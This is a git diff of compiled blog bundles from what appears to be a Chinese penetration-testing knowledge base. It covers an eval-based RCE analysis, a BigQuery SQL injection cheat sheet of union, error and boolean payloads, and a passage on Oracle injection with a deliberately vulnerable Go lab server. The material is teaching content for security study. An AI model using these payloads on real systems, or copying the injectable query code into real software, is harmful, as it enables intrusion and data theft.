`mjs`.`usp_alert_get_sms_setting`(:company_uuid,:setting_type,@r)\",\n \"args\": {\n \"company_uuid\": param['company_uuid'],\n \"setting_type\": param['setting_type']\n }\n }\n logging.debug(\"get sms setting by cmd: {}\".format(q2))\n res = []\n\n def get_setting_details(result):\n row = result.fetchone()\n setting_info = {}\n setting_info['company_uuid'] = param['company_uuid']\n # setting_info['setting_id'] = row['setting_id']\n setting_info['region'] = row['region']\n setting_info['access_key_id'] = row['access_key_id']\n setting_info['access_key_secret'] = row['access_key_secret']\n setting_info['entry_point'] = row['entry_point']\n setting_info['topic'] = row['topic']\n setting_info['sms_template_code'] = row['sms_template_code']\n setting_info['sms_template_param'] = row['sms_template_param']\n setting_info['sms_sign_name'] = row['sms_sign_name']\n setting_info['status'] = row['status']\n res.append(setting_info)\n dbs_call(get_setting_details, conn, **q2)\n if not len(res):\n logging.error(\"not obtain sms setting details\")\n return True, setResult(1, \"not obtain sms setting details\")\n logging.debug(\"got sms setting detail: {}\".format(res[0]))\n return True, setResult(0, res[0])\n except Exception as e:\n logging.error(\"get_sms_setting exception: {}\".format(e))\n return True, setResult(1, \"get_sms_setting exception: {}\".format(e))\n"})}),"\n",(0,r.jsxs)(n.p,{children:["\u53ef\u4ee5\u770b\u5230",(0,r.jsx)(n.code,{children:"param = eval(args[0])"})," \u662f\u6f0f\u6d1e\u7684\u89e6\u53d1\u4f4d\u7f6e\uff0c\u800c ",(0,r.jsx)(n.code,{children:"args[0]"}),"\u5c31\u662f",(0,r.jsx)(n.code,{children:"php"}),"\u7684",(0,r.jsx)(n.code,{children:"$param"})]}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:"$company_uuid = $_GET['company_uuid'];\n$platform_sel = $_GET['platform_sel'];\n$param = \"{\" . '\"company_uuid\":\"'.$company_uuid .'\"';\n$param = $param . ',' . '\"setting_type\":' . $platform_sel;\n$param = $param . \"}\";\n"})}),"\n",(0,r.jsx)(n.p,{children:"\u53ef\u4ee5\u770b\u5230 setting_type\u4e3aint\u7c7b\u578b\uff0c\u6211\u4eec\u5373\u53ef\u4f20\u5165\u6076\u610f\u7684python\u4ee3\u7801\uff0c\u6700\u7ec8\u5b9e\u73b0rce"})]})}function p(e={}){const{wrapper:n}={...(0,i.R)(),...e.components};return n?(0,r.jsx)(n,{...e,children:(0,r.jsx)(h,{...e})}):h(e)}},28453:(e,n,s)=>{s.d(n,{R:()=>c,x:()=>t});var l=s(96540);const r={},i=l.createContext(r);function c(e){const n=l.useContext(i);return l.useMemo(function(){return"function"==typeof e?e(n):{...n,...e}},[n,e])}function t(e){let n;return n=e.disableParentContext?"function"==typeof e.components?e.components(r):e.components||r:c(e.components),l.createElement(i.Provider,{value:n},e.children)}}}]); \ No newline at end of file diff --git a/assets/js/0bfe2165.1ae56776.js b/assets/js/0bfe2165.1ae56776.js new file mode 100644 index 0000000..457e965 --- /dev/null +++ b/assets/js/0bfe2165.1ae56776.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[8442],{23451:(e,n,i)=>{i.r(n),i.d(n,{assets:()=>c,contentTitle:()=>a,default:()=>u,frontMatter:()=>s,metadata:()=>r,toc:()=>d});const r=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/BigQuery","title":"BigQuery","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/02.WEB\u6f0f\u6d1e/01.SQL\u6ce8\u5165/11.BigQuery.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/02.WEB\u6f0f\u6d1e/01.SQL\u6ce8\u5165","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/BigQuery","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/BigQuery","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/02.WEB\u6f0f\u6d1e/01.SQL\u6ce8\u5165/11.BigQuery.md","tags":[],"version":"current","sidebarPosition":11,"frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"Cassandra","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/Cassandra"},"next":{"title":"XSS\u6ce8\u5165","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/XSS\u6ce8\u5165/"}}');var l=i(74848),t=i(28453);const s={},a=void 0,c={},d=[{value:"\u603b\u7ed3",id:"\u603b\u7ed3",level:2},{value:"\u4fa6\u67e5",id:"\u4fa6\u67e5",level:2},{value:"\u5927\u7684",id:"\u5927\u7684",level:2},{value:"\u57fa\u4e8e BigQuery \u8054\u5408",id:"\u57fa\u4e8e-bigquery-\u8054\u5408",level:2},{value:"\u57fa\u4e8e BigQuery \u9519\u8bef",id:"\u57fa\u4e8e-bigquery-\u9519\u8bef",level:2},{value:"\u57fa\u4e8e BigQuery \u5e03\u5c14\u503c",id:"\u57fa\u4e8e-bigquery-\u5e03\u5c14\u503c",level:2},{value:"\u57fa\u4e8e\u65f6\u95f4\u7684 BigQuery",id:"\u57fa\u4e8e\u65f6\u95f4\u7684-bigquery",level:2},{value:"\u53c2\u8003\u6587\u732e",id:"\u53c2\u8003\u6587\u732e",level:2}];function o(e){const n={a:"a",code:"code",h2:"h2",img:"img",li:"li",pre:"pre",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,t.R)(),...e.components};return(0,l.jsxs)(l.Fragment,{children:[(0,l.jsxs)(n.table,{children:[(0,l.jsx)(n.thead,{children:(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,l.jsx)(n.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,l.jsx)(n.tbody,{children:(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{style:{textAlign:"left"},children:(0,l.jsx)(n.img,{src:"https://img.shields.io/badge/wjlin0-blog-green",alt:"wjlin0"})}),(0,l.jsx)(n.td,{style:{textAlign:"left"},children:"2023-07-05 21:37:29"})]})})]}),"\n",(0,l.jsx)(n.h2,{id:"\u603b\u7ed3",children:"\u603b\u7ed3"}),"\n",(0,l.jsx)(n.h2,{id:"\u4fa6\u67e5",children:"\u4fa6\u67e5"}),"\n",(0,l.jsxs)(n.ul,{children:["\n",(0,l.jsxs)(n.li,{children:["\u4f7f\u7528\u7ecf\u5178\u7684\u5355\u5f15\u53f7\u89e6\u53d1\u9519\u8bef\uff1a ",(0,l.jsx)(n.code,{children:"'"})]}),"\n",(0,l.jsxs)(n.li,{children:["\u4f7f\u7528\u56de\u6eaf\u7b26\u53f7\u8bc6\u522b BigQuery\uff1a",(0,l.jsx)(n.code,{children:"SELECT .... FROM `` AS ..."})]}),"\n"]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-ps1",children:"# Gathering project id\nselect @@project_id\n\n# Gathering all dataset names\nselect schema_name from INFORMATION_SCHEMA.SCHEMATA\n\n# Gathering data from specific project id & dataset\nselect * from `project_id.dataset_name.table_name`\n"})}),"\n",(0,l.jsx)(n.h2,{id:"\u5927\u7684",children:"\u5927\u7684"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-ps1",children:"select 1#from here it is not working\nselect 1/*between those it is not working*/\n"})}),"\n",(0,l.jsx)(n.h2,{id:"\u57fa\u4e8e-bigquery-\u8054\u5408",children:"\u57fa\u4e8e BigQuery \u8054\u5408"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-ps1",children:"UNION ALL SELECT (SELECT @@project_id),1,1,1,1,1,1)) AS T1 GROUP BY column_name#\ntrue) GROUP BY column_name LIMIT 1 UNION ALL SELECT (SELECT 'asd'),1,1,1,1,1,1)) AS T1 GROUP BY column_name#\ntrue) GROUP BY column_name LIMIT 1 UNION ALL SELECT (SELECT @@project_id),1,1,1,1,1,1)) AS T1 GROUP BY column_name#\n' GROUP BY column_name UNION ALL SELECT column_name,1,1 FROM (select column_name AS new_name from `project_id.dataset_name.table_name`) AS A GROUP BY column_name#\n"})}),"\n",(0,l.jsx)(n.h2,{id:"\u57fa\u4e8e-bigquery-\u9519\u8bef",children:"\u57fa\u4e8e BigQuery \u9519\u8bef"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-ps1",children:"# Error based - division by zero\n' OR if(1/(length((select('a')))-1)=1,true,false) OR '\n\n# Error based - casting: select CAST(@@project_id AS INT64)\ndataset_name.column_name` union all select CAST(@@project_id AS INT64) ORDER BY 1 DESC#\n"})}),"\n",(0,l.jsx)(n.h2,{id:"\u57fa\u4e8e-bigquery-\u5e03\u5c14\u503c",children:"\u57fa\u4e8e BigQuery \u5e03\u5c14\u503c"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-ps1",children:"' WHERE SUBSTRING((select column_name from `project_id.dataset_name.table_name` limit 1),1,1)='A'#\n"})}),"\n",(0,l.jsx)(n.h2,{id:"\u57fa\u4e8e\u65f6\u95f4\u7684-bigquery",children:"\u57fa\u4e8e\u65f6\u95f4\u7684 BigQuery"}),"\n",(0,l.jsxs)(n.ul,{children:["\n",(0,l.jsx)(n.li,{children:"BigQuery \u8bed\u6cd5\u4e2d\u4e0d\u5b58\u5728\u57fa\u4e8e\u65f6\u95f4\u7684\u51fd\u6570\u3002"}),"\n"]}),"\n",(0,l.jsx)(n.h2,{id:"\u53c2\u8003\u6587\u732e",children:"\u53c2\u8003\u6587\u732e"}),"\n",(0,l.jsxs)(n.ul,{children:["\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"https://ozguralp.medium.com/bigquery-sql-injection-cheat-sheet-65ad70e11eac",children:"BigQuery SQL \u6ce8\u5165\u4f5c\u5f0a\u8868-Ozgur Alp-2 \u6708 14 \u65e5"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"https://cloud.google.com/bigquery/docs/reference/standard-sql/query-syntax",children:"BigQuery \u6587\u6863-\u67e5\u8be2\u8bed\u6cd5"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"https://cloud.google.com/bigquery/docs/reference/standard-sql/functions-and-operators",children:"BigQuery \u6587\u6863-\u51fd\u6570\u548c\u8fd0\u7b97\u7b26"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"https://hackemall.live/index.php/2020/03/31/akamai-web-application-firewall-bypass-journey-exploiting-google-bigquery-sql-injection-vulnerability/",children:"Akamai Web \u5e94\u7528\u7a0b\u5e8f\u9632\u706b\u5899\u7ed5\u8fc7\u4e4b\u65c5\uff1a\u5229\u7528\u201cGoogle BigQuery\u201dSQL \u6ce8\u5165\u6f0f\u6d1e-\u4f5c\u8005\uff1aDuc Nguyen The\uff0c2020 \u5e74 3 \u6708 31 \u65e5"})}),"\n"]})]})}function u(e={}){const{wrapper:n}={...(0,t.R)(),...e.components};return n?(0,l.jsx)(n,{...e,children:(0,l.jsx)(o,{...e})}):o(e)}},28453:(e,n,i)=>{i.d(n,{R:()=>s,x:()=>a});var r=i(96540);const l={},t=r.createContext(l);function s(e){const n=r.useContext(t);return r.useMemo(function(){return"function"==typeof e?e(n):{...n,...e}},[n,e])}function a(e){let n;return n=e.disableParentContext?"function"==typeof e.components?e.components(l):e.components||l:s(e.components),r.createElement(t.Provider,{value:n},e.children)}}}]); \ No newline at end of file diff --git a/assets/js/0d16731a.6f9cc0fb.js b/assets/js/0d16731a.6f9cc0fb.js new file mode 100644 index 0000000..d5cc37c --- /dev/null +++ b/assets/js/0d16731a.6f9cc0fb.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[8302],{23582:(n,e,s)=>{s.r(e),s.d(e,{assets:()=>t,contentTitle:()=>d,default:()=>m,frontMatter:()=>c,metadata:()=>l,toc:()=>a});const l=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/Oracle","title":"Oracle","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/02.WEB\u6f0f\u6d1e/01.SQL\u6ce8\u5165/03.Oracle.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/02.WEB\u6f0f\u6d1e/01.SQL\u6ce8\u5165","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/Oracle","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/Oracle","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/02.WEB\u6f0f\u6d1e/01.SQL\u6ce8\u5165/03.Oracle.md","tags":[],"version":"current","sidebarPosition":3,"frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"\u6570\u636e\u5e93\u8bc6\u522b","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/\u6570\u636e\u5e93\u8bc6\u522b"},"next":{"title":"MySQL","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/MySQL"}}');var r=s(74848),i=s(28453);const c={},d=void 0,t={},a=[{value:"\u4e00\u4e9b\u57fa\u672c\u6982\u5ff5",id:"\u4e00\u4e9b\u57fa\u672c\u6982\u5ff5",level:2},{value:"\u73af\u5883\u642d\u5efa",id:"\u73af\u5883\u642d\u5efa",level:2},{value:"\u57fa\u672c\u7528\u6cd5",id:"\u57fa\u672c\u7528\u6cd5",level:2},{value:"\u6ce8\u5165\u6d41\u7a0b",id:"\u6ce8\u5165\u6d41\u7a0b",level:2},{value:"\u5bfb\u627e\u5e76\u5224\u65ad\u6ce8\u5165\u70b9",id:"\u5bfb\u627e\u5e76\u5224\u65ad\u6ce8\u5165\u70b9",level:3},{value:"\u8054\u5408\u67e5\u8be2",id:"\u8054\u5408\u67e5\u8be2",level:3},{value:"\u62a5\u9519\u6ce8\u5165",id:"\u62a5\u9519\u6ce8\u5165",level:3},{value:"\u5e03\u5c14\u76f2\u6ce8",id:"\u5e03\u5c14\u76f2\u6ce8",level:3},{value:"\u5916\u5e26\u653b\u51fbOOB\uff08Out Of Band\uff09",id:"\u5916\u5e26\u653b\u51fboobout-of-band",level:3},{value:"\u7ed5\u8fc7",id:"\u7ed5\u8fc7",level:2},{value:"\u7f16\u7801\u7ed5\u8fc7",id:"\u7f16\u7801\u7ed5\u8fc7",level:3},{value:"\u7a7a\u683c\u7ed5\u8fc7",id:"\u7a7a\u683c\u7ed5\u8fc7",level:3},{value:"\u62fc\u63a5\u6362\u884c\u56de\u8f66\u7b26",id:"\u62fc\u63a5\u6362\u884c\u56de\u8f66\u7b26",level:3},{value:"\u5206\u5757\u4f20\u8f93",id:"\u5206\u5757\u4f20\u8f93",level:3},{value:"\u810f\u6570\u636e",id:"\u810f\u6570\u636e",level:3}];function h(n){const e={a:"a",blockquote:"blockquote",code:"code",h2:"h2",h3:"h3",img:"img",li:"li",p:"p",pre:"pre",strong:"strong",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,i.R)(),...n.components};return(0,r.jsxs)(r.Fragment,{children:[(0,r.jsxs)(e.table,{children:[(0,r.jsx)(e.thead,{children:(0,r.jsxs)(e.tr,{children:[(0,r.jsx)(e.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,r.jsx)(e.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,r.jsx)(e.tbody,{children:(0,r.jsxs)(e.tr,{children:[(0,r.jsx)(e.td,{style:{textAlign:"left"},children:(0,r.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,r.jsx)(e.td,{style:{textAlign:"left"},children:"2025-08-19 16:42:15"})]})})]}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.strong,{children:"Oracle\u670d\u52a1\u9ed8\u8ba4\u7aef\u53e3\uff1a1521"})}),"\n",(0,r.jsx)(e.h2,{id:"\u4e00\u4e9b\u57fa\u672c\u6982\u5ff5",children:"\u4e00\u4e9b\u57fa\u672c\u6982\u5ff5"}),"\n",(0,r.jsx)(e.p,{children:"1\u3001SID(Site ID)\uff1a\u4e00\u4e2a\u7531\u5b57\u6bcd\u548c\u6570\u5b57\u7ec4\u6210\u7684\u7cfb\u7edf\u6807\u8bc6\u7b26\u7528\u6765\u505a\u5b9e\u4f8b\u7684\u552f\u4e00\u6027\u7684\u533a\u522b\uff0c\u5305\u542b\u4e86\u81f3\u5c11\u4e00\u4e2a\u5e94\u7528\u7a0b\u5e8f\u7684\u5b9e\u4f8b\u548c\u6570\u636e\u5b58\u50a8\u8bbe\u5907"}),"\n",(0,r.jsxs)(e.p,{children:["2\u3001\u5b9e\u4f8b(Instance):\u7531\u4e00\u4e2a\u5b9e\u4f8b\u6570\u5b57(\u6216\u662f\u4e00\u4e2a\u5f15\u5bfcID\uff1a",(0,r.jsx)(e.code,{children:"SYS.V_$DATABASE.ACTIVATION#"}),"\uff09\u8868\u793a\uff0c\u5305\u542b\u4e86\u4e00\u4e2a\u64cd\u4f5c\u7cfb\u7edf\u7a0b\u5e8f\u7684\u96c6\u5408\u548c\u4e0e\u5b58\u50a8\u8bbe\u5907\u8fdb\u884c\u4ea4\u8c08\u7684\u5185\u90e8\u7ed3\u6784"]}),"\n",(0,r.jsx)(e.p,{children:"ORACLE\u5b9e\u4f8b = \u8fdb\u7a0b + \u8fdb\u7a0b\u6240\u4f7f\u7528\u7684\u5185\u5b58(SGA)"}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:"\u8fdb\u7a0b\uff1a\u8d1f\u8d23\u63a5\u53d7\u548c\u5904\u7406\u5ba2\u6237\u7aef\u4f20\u6765\u7684\u6570\u636e\uff0c\u5982 Windows \u4e0b\u7531 oracle.exe \u8fdb\u7a0b\u8d1f\u8d23\u5206\u53d1\u548c\u5904\u7406\u8bf7\u6c42"}),"\n",(0,r.jsxs)(e.li,{children:["SGA:\u5168\u79f0\u4e3a ",(0,r.jsx)(e.code,{children:"System Global Area"}),"(\u7cfb\u7edf\u5168\u5c40\u533a\u57df)\u3002\u5b9e\u9645\u4e0a\u662f\u5185\u5b58\u4e2d\u7684\u4e00\u7247\u5171\u4eab\u533a\u57df\uff0c\u5176\u4e2d\u5305\u542b\u5b9e\u4f8b\u914d\u7f6e\u3001\u6570\u636e\u7f13\u5b58\u3001\u64cd\u4f5c\u65e5\u5fd7\u3001SQL\u547d\u4ee4\u3001\u7528\u6237\u4fe1\u606f\u7b49\u4fe1\u606f\uff0c\u7531\u540e\u53f0\u8fdb\u7a0b\u8fdb\u884c\u5171\u4eab"]}),"\n"]}),"\n",(0,r.jsxs)(e.p,{children:["3\u3001\u6570\u636e\u5e93\uff1a\u4e00\u822c\u6307\u7269\u7406\u5b58\u50a8\u7684\u6587\u4ef6\uff0cOracle \u6570\u636e\u5e93\u9664\u4e86\u57fa\u672c\u7684\u6570\u636e\u6587\u4ef6\uff0c\u8fd8\u6709",(0,r.jsx)(e.code,{children:"\u63a7\u5236\u6587\u4ef6"}),"\u548c ",(0,r.jsx)(e.code,{children:"Redo \u65e5\u5fd7"}),"(\u91cd\u505a\u6587\u4ef6 + \u63a7\u5236\u6587\u4ef6 + \u6570\u636e\u6587\u4ef6 + \u4e34\u65f6\u6587\u4ef6)\uff0c\u8fd9\u4e9b\u6587\u4ef6\u4e00\u822c\u5b58\u50a8\u5728",(0,r.jsx)(e.code,{children:"$ORACLE_HOME\\oradata..."}),"\u8def\u5f84\u4e0b\uff0c\u540e\u7f00\u540d\u540eDBF"]}),"\n",(0,r.jsx)(e.p,{children:"\u7b80\u800c\u8a00\u4e4b\uff0c\u5b9e\u4f8b\u662f\u4e34\u65f6\u6027\u7684\uff0c\u6570\u636e\u5e93\u662f\u6c38\u4e45\u6027\u7684\uff0c\u4e00\u4e2a\u6570\u636e\u5e93\u53ef\u4ee5\u5bf9\u5e94\u591a\u4e2a\u5b9e\u4f8b\uff0c\u800c\u4e00\u4e2a\u5b9e\u4f8b\u53ea\u80fd\u5bf9\u5e94\u4e00\u4e2a\u6570\u636e\u5e93"}),"\n",(0,r.jsx)(e.h2,{id:"\u73af\u5883\u642d\u5efa",children:"\u73af\u5883\u642d\u5efa"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-go",children:'package main\n\nimport (\n\t"database/sql"\n\t"fmt"\n\t"github.com/gin-gonic/gin"\n\t_ "github.com/godror/godror"\n)\n\nvar (\n\tDb *sql.DB\n)\n\nfunc main() {\n\tr := gin.Default()\n\tfunc() {\n\n\t\tvar err error\n\t\tDb, err = sql.Open("godror", `user="TEST" password="test" connectString="119.13.81.145:1521/helowin"`)\n\t\tif err != nil {\n\t\t\tpanic(err)\n\t\t}\n\t\terr = Db.Ping()\n\t\tif err != nil {\n\t\t\tpanic(err)\n\t\t}\n\t}()\n\tdefer Db.Close()\n\tuser := r.Group("api/v1")\n\n\tuser.GET("user/queryById", func(c *gin.Context) {\n\t\ti := c.DefaultQuery("id", "0")\n\t\tsql_ := fmt.Sprintf("select * from TEST.PERSONS where USER_ID=%s", i)\n\t\tfmt.Println(sql_)\n\t\trows, err := Db.Query(sql_)\n\t\tif err != nil {\n\t\t\tc.JSON(400, gin.H{"err": err.Error()})\n\t\t\tfmt.Println(err)\n\t\t\treturn\n\t\t}\n\t\tdefer rows.Close()\n\t\tvar slice []map[string]interface{}\n\t\tvar m1 map[string]interface{}\n\t\tm1 = make(map[string]interface{})\n\n\t\tvar id, username, password string\n\t\tfor rows.Next() {\n\t\t\trows.Scan(&id, &username, &password) //\u5199\u5165\u67e5\u8be2\u6570\u636e\u96c6\u7684\u6240\u6709\u5217\u540d\n\t\t\tm1["id"] = id\n\t\t\tm1["username"] = username\n\t\t\tm1["password"] = password\n\t\t\tslice = append(slice, m1) //\u5206\u7247\u4e2d\u8ffd\u52a0\u4fe1\u606f\n\t\t}\n\n\t\tc.JSON(200, gin.H{"data": m1})\n\t\treturn\n\t})\n\tuser.GET("user/queryByUsername", func(c *gin.Context) {\n\t\ti := c.DefaultQuery("user", "admin")\n\t\tsql_ := fmt.Sprintf("select * from TEST.PERSONS where USERNAME=\'%s\'", i)\n\t\tfmt.Println(sql_)\n\t\trows, err := Db.Query(sql_)\n\t\tif err != nil {\n\t\t\tc.JSON(400, gin.H{"err": err.Error()})\n\t\t\tfmt.Println(err)\n\t\t\treturn\n\t\t}\n\t\tdefer rows.Close()\n\t\tvar slice []map[string]interface{}\n\t\tvar m1 map[string]interface{}\n\t\tm1 = make(map[string]interface{})\n\n\t\tvar id, username, password string\n\t\tfor rows.Next() {\n\t\t\trows.Scan(&id, &username, &password) //\u5199\u5165\u67e5\u8be2\u6570\u636e\u96c6\u7684\u6240\u6709\u5217\u540d\n\t\t\tm1["id"] = id\n\t\t\tm1["username"] = username\n\t\t\tm1["password"] = password\n\t\t\tslice = append(slice, m1) //\u5206\u7247\u4e2d\u8ffd\u52a0\u4fe1\u606f\n\t\t}\n\n\t\tc.JSON(200, gin.H{"data": m1})\n\t\treturn\n\t})\n\tuser.GET("user/BoolById", func(c *gin.Context) {\n\t\ti := c.DefaultQuery("id", "0")\n\t\tsql_ := fmt.Sprintf("select * from TEST.PERSONS where USER_ID=%s", i)\n\t\tfmt.Println(sql_)\n\t\trows, err := Db.Query(sql_)\n\t\tif err != nil {\n\t\t\tc.JSON(400, gin.H{"err": "error"})\n\t\t\treturn\n\t\t}\n\t\tdefer rows.Close()\n\t\tvar slice []map[string]interface{}\n\t\tvar m1 map[string]interface{}\n\t\tm1 = make(map[string]interface{})\n\n\t\tvar id, username, password string\n\t\tfor rows.Next() {\n\t\t\trows.Scan(&id, &username, &password) //\u5199\u5165\u67e5\u8be2\u6570\u636e\u96c6\u7684\u6240\u6709\u5217\u540d\n\t\t\tm1["id"] = id\n\t\t\tm1["username"] = username\n\t\t\tm1["password"] = password\n\t\t\tslice = append(slice, m1) //\u5206\u7247\u4e2d\u8ffd\u52a0\u4fe1\u606f\n\t\t}\n\t\tif len(slice) > 0 {\n\t\t\tc.JSON(200, gin.H{"data": "id\u5b58\u5728"})\n\t\t} else {\n\t\t\tc.JSON(200, gin.H{"data": "id\u4e0d\u5b58\u5728"})\n\t\t}\n\t\treturn\n\t})\n\tpanic(r.Run(":8000"))\n}\n\n'})}),"\n",(0,r.jsx)(e.h2,{id:"\u57fa\u672c\u7528\u6cd5",children:"\u57fa\u672c\u7528\u6cd5"}),"\n",(0,r.jsxs)(e.blockquote,{children:["\n",(0,r.jsx)(e.p,{children:"![INFO]"}),"\n",(0,r.jsx)(e.p,{children:"\u8fd9\u91cc\u4f7f\u7528\u4e86\u89e3\u4e00\u4e9b\u57fa\u672c\u8bed\u6cd5\u7684\u8bdd\uff0c\u5c31\u4e86\u89e3\u4e00\u4e9b\u8ddfmysql\u4e0d\u4e00\u6837\u7684\u5730\u65b9"}),"\n",(0,r.jsxs)(e.p,{children:[(0,r.jsx)(e.strong,{children:"\u865a\u8868 dual"}),"\uff1a\u5b83\u6ca1\u6709\u5b9e\u9645\u7684\u5b58\u50a8\u610f\u4e49\uff0c\u6c38\u8fdc\u53ea\u5b58\u50a8\u4e00\u6761\u6570\u636e\uff0c\u56e0\u4e3a oracle \u7684\u8bed\u6cd5\u8981\u6c42 select \u540e\u5fc5\u987b\u8ddf\u4e0a from\uff0c\u6240\u4ee5\u901a\u5e38\u4f7f\u7528 dual \u6765\u4f5c\u4e3a\u8ba1\u7b97\u3001\u67e5\u8be2\u65f6\u95f4\u7b49SQL\u8bed\u53e5\u4e2d from \u4e4b\u540e\u7684\u865a\u8868\u5360\u4f4d\uff0c\u4f8b\u5982",(0,r.jsx)(e.code,{children:"select 1+1 from dual"})]}),"\n",(0,r.jsx)(e.p,{children:"\u90fd\u662f\u9075\u5b88\u7684SQL\u6807\u51c6\u8bed\u6cd5"}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsxs)(e.li,{children:["select \u5fc5\u987b\u8981\u6307\u660e\u8868\u540d\u3002\u4e5f\u53ef\u4ee5\u7528 ",(0,r.jsx)(e.code,{children:"dual"})," \u4f5c\u4e3a\u8868\u540d\u6765\u5bf9\u975e\u771f\u5b9e\u7684\u8868\u8fdb\u884c\u67e5\u8be2"]}),"\n",(0,r.jsxs)(e.li,{children:["Oracle \u4e2d\u7a7a\u5b57\u7b26\u4e32",(0,r.jsx)(e.code,{children:"''"}),"\u5c31\u662f",(0,r.jsx)(e.code,{children:"null"}),"\uff08\u4e5f\u5c31\u662f\u8bf4oracle\u53ea\u6709",(0,r.jsx)(e.code,{children:"null"}),"\uff0c\u6ca1\u6709\u7a7a\u5b57\u7b26)"]}),"\n",(0,r.jsxs)(e.li,{children:["Oracle\u4f7f\u7528 ",(0,r.jsx)(e.code,{children:"||"})," \u62fc\u63a5\u5b57\u7b26\u4e32\uff0cMySQL\u4e2d\u4e3a\u6216\u8fd0\u7b97"]}),"\n",(0,r.jsx)(e.li,{children:"Oracle\u7684\u5355\u5f15\u53f7\u4e0emysql\u4e00\u6837\u7684\uff0c\u53ea\u4e0d\u8fc7Oracle\u7684\u53cc\u5f15\u53f7\u662f\u7528\u6765\u6d88\u9664\u7cfb\u7edf\u5173\u952e\u5b57\u7684"}),"\n",(0,r.jsx)(e.li,{children:"Oracle\u4e2dlimit\u5e94\u8be5\u4f7f\u7528\u865a\u8868\u4e2d\u7684rownum\u5b57\u6bb5\u901a\u8fc7where\u6761\u4ef6\u5224\u65ad"}),"\n"]}),"\n"]}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:"\u5f53\u524d\u6570\u636e\u5e93\u7528\u6237\uff1a"}),"\n"]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-sql",children:"SELECT banner FROM v$version 